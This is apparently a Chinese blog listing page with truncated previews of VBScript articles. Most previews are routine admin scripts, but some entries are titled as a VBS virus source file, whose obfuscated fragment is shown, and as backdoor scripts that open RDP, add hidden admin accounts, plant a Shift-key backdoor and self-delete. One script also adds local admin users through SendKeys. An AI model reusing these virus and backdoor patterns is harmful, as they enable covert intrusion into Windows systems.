vbs中的LoadPicture函数示例

2016年07月27日 116 阅读

示例： LoadPicture函数 选择图片Sub GetPicInfor（） dim objpic,iWidth,iHeightdim pictype,picpathpicpath=document.frm.pic.valueset objpic=Loadpicture（picpath）iWidth = round（objpic.width / 26.4583） "26.4583是像素值 iHeight = round（objpic.height / 2...

vbs循环产生的参数的传递问题

2016年07月27日 111 阅读

SetobjFSO=CreateObject（"Scripting.FileSystemObject"） SetobjFile=objFSO.OpenTextFile（"d:1.txt",1） setWshShell=WScript.CreateObject（"WScript.Shell"） strFolder="d:1" DoUntilobjFile.AtEndOfStream strLine=objFile.ReadLine filename=strL...

vbs病毒源文件

2016年07月27日 101 阅读

remvbs.rhl Dimfs,r,ss,w,reg,regpath,dvbs ddd="Setfs="&chr（67）&"reate"&"Obj"&chr（101）&"c"&chr（116）&chr（40）&chr（34）&"Scrip"&chr（116）&"ing.File"&chr（83）&"yste"&chr（109）&chr（79）&"bject"&chr（34）&chr（41） Executeddd rrr="setr="&chr（119）&...

海阳顶端网进百度blog必须输入密码的vbscript代码

2016年07月27日 114 阅读

要看懂下面的代码，需要了解下面的函数vbscript strreverse函数 返回字符串，此字符串与指定字符串顺序相反。 strreverse（string1） string1参数是要进行字符反向的字符串。如果string1是零长度字符串（""），则返回零长度字符串。如果string1为null，则会出现错误。 说明 下面的示例利用strreverse函数返回按相反顺序排列的字符串： dimmystr mystr=strreverse（"vbscript...

关于脚本调用外部对像和类型库

2016年07月27日 103 阅读

先举个例子，最近的flash网马调用: varFlashver=（newActiveXObject（"ShockwaveFlash.ShockwaveFlash.9"））.GetVariable（"$version"）.split（","）; 这个ShockwaveFlash.ShockwaveFlash.9从何而来，用exescope打开flash9f.ocx选择typelib，即可看到ShockwaveFlash.ShockwaveFlash.9对像的...

学习 WSH 的理由小结

2016年07月27日 104 阅读

关于这个过程，可以参考我的另一篇文章《没有电脑的日子》之东搞搞西搞搞--搞中。 很多还不懂怎么学习编程的人问应该学什么语言？都会和他说：先提高境界，再学习技能；先了解自己的兴趣或者以后想做的事，才选择语言。如果学校教C和Java，您就只在这两个里选择，那么很抱歉，我只能说您是一坨屎！选择了语言，很大程度上就选择了开发方式，也就选择了相应的工作，那么这个相应的工作是不是您真正喜欢的？本末倒置的事常常发生在学生身上，习以为常了，大家就不知道应该先选择自己的...

vbscript sendkeys实例代码大全

2016年07月27日 113 阅读

其使用格式为：object.SendKeysstring “object”：表示WshShell对象 “string”：表示要发送的按键指令字符串，需要放在英文双引号中。 1.基本键 一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.SendKeys"x"”即可。当然，也可直接发送多个按键指令，只需要将按键字符按顺序排列在一起即可，例如，要发送按键“happy”，可以使用“WshShell.Sen...

xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs

2016年07月27日 98 阅读

复制代码 代码如下:onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPath="SYSTEMCurr...

Vbs脚本实现radmin终极后门代码_删除自身

2016年07月27日 99 阅读

复制代码 代码如下:onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPath="SYSTEMRAdm...

vbs实现恢复暂停的自动启动服务的脚本

2016年07月27日 99 阅读

strComputer="." SetobjWMIService=GetObject（"winmgmts:"_ &"{impersonationLevel=impersonate}！\"&strComputer&" ootcimv2"） SetcolListOfServices=objWMIService.ExecQuery_ （"Select*fromWin32_ServiceWhereState="Paused"andStartMode="Auto""...

vbs删除注册表项的代码

2016年07月27日 76 阅读

WScript.Echo"EnablingKerberosLogging..." constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPath="SOFTWARE999" strDWORDV...

用vbs检查注册表项的访问权限的代码

2016年07月27日 81 阅读

constKEY_QUERY_VALUE=&H0001 constKEY_SET_VALUE=&H0002 constKEY_CREATE_SUB_KEY=&H0004 constDELETE=&H00010000 constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLeve...

vbs之使用Internet Explorer 屏蔽密码

2016年07月27日 113 阅读

复制代码 代码如下:SetobjExplorer=WScript.CreateObject_ （"InternetExplorer.Application","IE_"） objExplorer.Navigate"file:///c:scriptspassword.htm" objExplorer.Visible=1 objExplorer.ToolBar=0 objExplorer.StatusBar=0 objExplorer.Width=400 ob...

vbscript 注册表脚本书写

2016年07月27日 86 阅读

WScript.Echo"EnablingKerberosLogging..." constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPat...

vbs下通过日期查找文件夹的代码

2016年07月27日 114 阅读

OnErrorResumeNext dtmTargetDate="20020301000000.000000-420" strComputer="." SetobjWMIService=GetObject_ （"winmgmts:"&"！\"&strComputer&" ootcimv2"） SetcolFolders=objWMIService.ExecQuery_ （"Select*fromWin32_DirectoryWhereCreationDat...

vbs复制文件的脚本

2016年07月27日 111 阅读

复制代码 代码如下:parentfolder = "c:" sourcefile = "c:windowslog.log" targetfolder = parentfolder & date & "" set objshell = createobject（"shell.application"） set objfolder = objshell.namespace（parentfolder） objfolder.newfolder date set s...

vbs实现计算机重启

2016年07月27日 109 阅读

Dimreturn SetR=CreateObject（"WScript.Shell"） return=MsgBox（"你确定要重起计算机吗？",vbokcancel+vbexclamation,"注意！"） Ifreturn=vbokThen R.run（"Shutdown.exe-r-t0"） Endif...

文件备份vbs脚本

2016年07月27日 110 阅读

objs="c:aaa*""支持UNC路径 objd="d:aaa" "请自行修改上面两个路径 Setobjshell=CreateObject（"Scripting.FileSystemObject"） objshell.CopyFolder（Objs,objD）"当文件存在时默认进行覆盖操作...

vbs下用一个小方法实现批量添加域用户

2016年07月27日 111 阅读

复制代码 代码如下:setadsou=getobject（"ldap://cn=users,dc=hzcncter,dc=local"） constforreading=1 setobjfso=createobject（"scripting.filesystemobject"） setobjtextfile=objfso.opentextfile_ （"users.txt",forreading） dountilobjtextfile.atendofstr...

用vbs实现本地添加用户的脚本

2016年07月27日 92 阅读

DimWshShell setWshShell=CreateObject（"wscript.Shell"） WshShell.Run"cmd/k" fori=1to3 WScript.Sleep500 WshShell.SendKeys"netuseradmin"&i&"abcd@123/add" WshShell.SendKeys"{ENTER}" next WshShell.SendKeys"exit" WshShell.SendKeys"{ENTER...